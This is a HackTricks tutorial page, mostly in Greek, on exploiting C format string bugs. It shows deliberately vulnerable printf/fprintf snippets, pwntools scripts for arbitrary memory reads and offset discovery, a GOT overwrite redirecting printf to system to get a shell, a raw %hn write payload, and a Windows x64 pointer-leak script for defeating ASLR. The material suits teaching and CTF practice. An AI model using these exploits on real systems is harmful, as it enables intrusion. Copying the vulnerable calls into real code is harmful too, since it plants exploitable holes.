Format Strings

Reading time: 11 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Στη C printf είναι μια συνάρτηση που μπορεί να χρησιμοποιηθεί για να εκτυπώσει μια συμβολοσειρά. Ο πρώτος παράμετρος που αναμένει αυτή η συνάρτηση είναι το raw text με τους formatters. Οι επόμενοι παράμετροι που αναμένονται είναι οι τιμές που θα αντικαταστήσουν τους formatters στο raw text.

Άλλες ευάλωτες συναρτήσεις είναι οι sprintf() και fprintf().

Η ευπάθεια προκύπτει όταν ένα attacker text χρησιμοποιείται ως το πρώτο όρισμα σε αυτή τη συνάρτηση. Ο attacker θα μπορεί να κατασκευάσει ένα ειδικό input που καταχράται τις δυνατότητες της printf format string για να διαβάσει και να γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/εγγράψιμη). Με αυτόν τον τρόπο μπορεί να εκτελέσει αυθαίρετο κώδικα.

Formatters:

bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Παραδείγματα:

  • Ευάλωτο παράδειγμα:
c
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Κανονική χρήση:
c
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Με Ελλιπή Ορίσματα:
c
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf vulnerable:
c
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

Πρόσβαση σε Δείκτες

Η μορφή %<n>$x, όπου n είναι ένας αριθμός, επιτρέπει να υποδείξετε στο printf να επιλέξει την n παράμετρο (από το stack). Έτσι, αν θέλετε να διαβάσετε την 4η παράμετρο από το stack χρησιμοποιώντας printf μπορείτε να κάνετε:

c
printf("%x %x %x %x")

και θα διαβάζατε από την πρώτη μέχρι την τέταρτη παράμετρο.

Ή μπορείτε να κάνετε:

c
printf("%4$x")

και να διαβάσει άμεσα το τέταρτο.

Notice that the attacker controls the printf parameter, which basically means that his input is going to be in the stack when printf is called, which means that he could write specific memory addresses in the stack.

caution

An attacker controlling this input, will be able to add arbitrary address in the stack and make printf access them. In the next section it will be explained how to use this behaviour.

Arbitrary Read

Είναι δυνατό να χρησιμοποιηθεί ο formatter %n$s ώστε το printf να πάρει την address που βρίσκεται στη θέση n, να την ακολουθήσει και να την εκτυπώσει σαν να ήταν string (εκτυπώνει μέχρι να βρεθεί 0x00). Έτσι, αν η base address του binary είναι 0x8048000, και ξέρουμε ότι η είσοδος χρήστη ξεκινά στην 4η θέση στο stack, είναι δυνατό να εκτυπώσουμε την αρχή του binary με:

python
from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

caution

Σημειώστε ότι δεν μπορείτε να βάλετε τη διεύθυνση 0x8048000 στην αρχή του input επειδή το string θα κοπεί σε 0x00 στο τέλος αυτής της διεύθυνσης.

Βρείτε το offset

Για να βρείτε το offset προς το input σας μπορείτε να στείλετε 4 ή 8 bytes (0x41414141) ακολουθούμενα από %1$x και να αυξήσετε την τιμή μέχρι να ανακτήσετε τα A's.

Brute Force printf offset
python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()

# Start a new process of the "chall" binary
p = process("./chall")

# Send the payload to the process
p.sendline(payload)

# Read and store the output of the process
output = p.clean()

# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break

# Close the process
p.close()

Πόσο χρήσιμο

Arbitrary reads can be useful to:

  • Dump the binary from memory
  • Access specific parts of memory where sensitive info is stored (like canaries, encryption keys or custom passwords like in this CTF challenge)

Arbitrary Write

Ο formatter %<num>$n γράφει τον αριθμό των γραμμένων bytes στη διεύθυνση που υποδεικνύεται από την παράμετρο στο stack. Αν ένας attacker μπορεί να γράψει όσους χαρακτήρες θέλει με printf, θα μπορεί να κάνει το %<num>$n να γράψει έναν arbitrary αριθμό σε μια arbitrary διεύθυνση.

Ευτυχώς, για να γράψεις τον αριθμό 9999, δεν χρειάζεται να προσθέσεις 9999 "A"s στην είσοδο — αντί γι' αυτό είναι δυνατό να χρησιμοποιήσεις τον formatter %.<num-write>%<num>$n για να γράψεις τον αριθμό <num-write> στη διεύθυνση που δείχνει η θέση num.

bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως 0x08049724 (η οποία είναι ένας ΜΕΓΑΛΟΣ αριθμός για να γραφτεί μονομιάς), χρησιμοποιείται $hn αντί για $n. Αυτό επιτρέπει να γραφτούν μόνο 2 Bytes. Επομένως αυτή η λειτουργία γίνεται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα.

Επομένως, αυτή η ευπάθεια επιτρέπει να γράψετε οτιδήποτε σε οποιαδήποτε διεύθυνση (arbitrary write).

Σε αυτό το παράδειγμα, ο στόχος θα είναι να επαναγραφεί η διεύθυνση μιας συνάρτησης στον πίνακα GOT που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες arbitrary write to exec τεχνικές:

Write What Where 2 Exec

Θα επαναγράψουμε μια συνάρτηση που λαμβάνει τα ορίσματά της από τον χρήστη και θα την δείξουμε στη συνάρτηση system.
Όπως αναφέρθηκε, για να γραφτεί η διεύθυνση, συνήθως χρειάζονται 2 βήματα: Πρώτα γράφεις 2Bytes της διεύθυνσης και μετά τα άλλα 2. Για αυτό χρησιμοποιείται $hn.

  • HOB αναφέρεται στα 2 υψηλότερα bytes της διεύθυνσης
  • LOB αναφέρεται στα 2 χαμηλότερα bytes της διεύθυνσης

Τότε, λόγω του τρόπου που δουλεύει ένα format string, χρειάζεται να γράψεις πρώτα το μικρότερο από [HOB, LOB] και μετά το άλλο.

If HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

If HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools Πρότυπο

Μπορείτε να βρείτε ένα πρότυπο για να προετοιμάσετε ένα exploit για αυτό το είδος ευπάθειας στο:

Format Strings Template

Ή αυτό το βασικό παράδειγμα από here:

python
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings to BOF

Είναι δυνατό να καταχραστεί κανείς τις write actions μιας format string vulnerability για να write in addresses of the stack και να εκμεταλλευτεί έναν τύπο ευπάθειας buffer overflow.

Windows x64: Format-string leak to bypass ASLR (no varargs)

Σε Windows x64 οι πρώτες τέσσερις integer/pointer παράμετροι μεταβιβάζονται σε registers: RCX, RDX, R8, R9. Σε πολλά buggy call-sites το attacker-controlled string χρησιμοποιείται ως format argument αλλά δεν παρέχονται variadic arguments, για παράδειγμα:

c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);

Επειδή δεν περνάνε varargs, οποιαδήποτε μετατροπή όπως "%p", "%x", "%s" θα προκαλέσει το CRT να διαβάσει το επόμενο variadic όρισμα από τον κατάλληλο register. Με το Microsoft x64 calling convention η πρώτη τέτοια ανάγνωση για "%p" προέρχεται από R9. Οποιαδήποτε παροδική τιμή βρίσκεται στο R9 στο call-site θα τυπωθεί. Στην πράξη αυτό συχνά leaks έναν σταθερό in-module pointer (π.χ., έναν pointer σε ένα local/global object που προηγουμένως τοποθετήθηκε στο R9 από περιβάλλοντα κώδικα ή μια callee-saved τιμή), ο οποίος μπορεί να χρησιμοποιηθεί για να ανακτηθεί το module base και να παρακαμφθεί το ASLR.

Practical workflow:

  • Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering.
  • Capture the leaked pointer, προσδιορίστε το static offset αυτού του object μέσα στο module (by reversing once with symbols or a local copy), και ανακτήστε το image base ως leak - known_offset.
  • Reuse that base to compute absolute addresses for ROP gadgets and IAT entries remotely.

Example (abbreviated python):

python
from pwn import remote

# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-"  # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16)   # e.g. 0x7ff6693d0660
base   = leaked - 0x20660                     # module base = leak - offset
print(hex(leaked), hex(base))

Σημειώσεις:

  • Η ακριβής μετατόπιση που πρέπει να αφαιρεθεί βρέθηκε μία φορά κατά το local reversing και στη συνέχεια επαναχρησιμοποιείται (ίδιο binary/version).
  • Αν "%p" δεν εκτυπώσει έναν έγκυρο δείκτη στην πρώτη προσπάθεια, δοκίμασε άλλους specifiers ("%llx", "%s") ή πολλαπλές μετατροπές ("%p %p %p") για να δείξεις άλλους καταχωρητές/στοίβα επιχειρημάτων.
  • Αυτό το μοτίβο είναι ειδικό για την Windows x64 calling convention και για τις printf-family implementations που ανακτούν ανύπαρκτα varargs από καταχωρητές όταν το format string τα ζητά.

Αυτή η τεχνική είναι εξαιρετικά χρήσιμη για να bootstrap ROP σε Windows services compiled με ASLR και χωρίς προφανή memory disclosure primitives.

Other Examples & References

References

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks